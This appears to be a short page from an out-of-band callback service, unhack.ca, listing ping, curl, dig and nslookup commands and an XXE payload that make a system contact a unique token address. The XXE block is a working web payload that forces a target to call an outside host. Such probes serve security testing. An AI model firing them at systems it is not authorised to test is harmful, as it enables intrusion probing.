$ ping -c1 -p 0081ebaafb4ef0fc8dec4091d9718800 unhack.ca
 

$ curl http://unhack.ca/p/81ebaafb4ef0fc8dec4091d97188
 

$ dig 81ebaafb4ef0fc8dec4091d97188 @unhack.ca
 

$ dig 81ebaafb4ef0fc8dec4091d97188.ns.unhack.ca
 

C:\> nslookup 81ebaafb4ef0fc8dec4091d97188 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/81ebaafb4ef0fc8dec4091d97188">]>
    <foo>&xxe;</foo>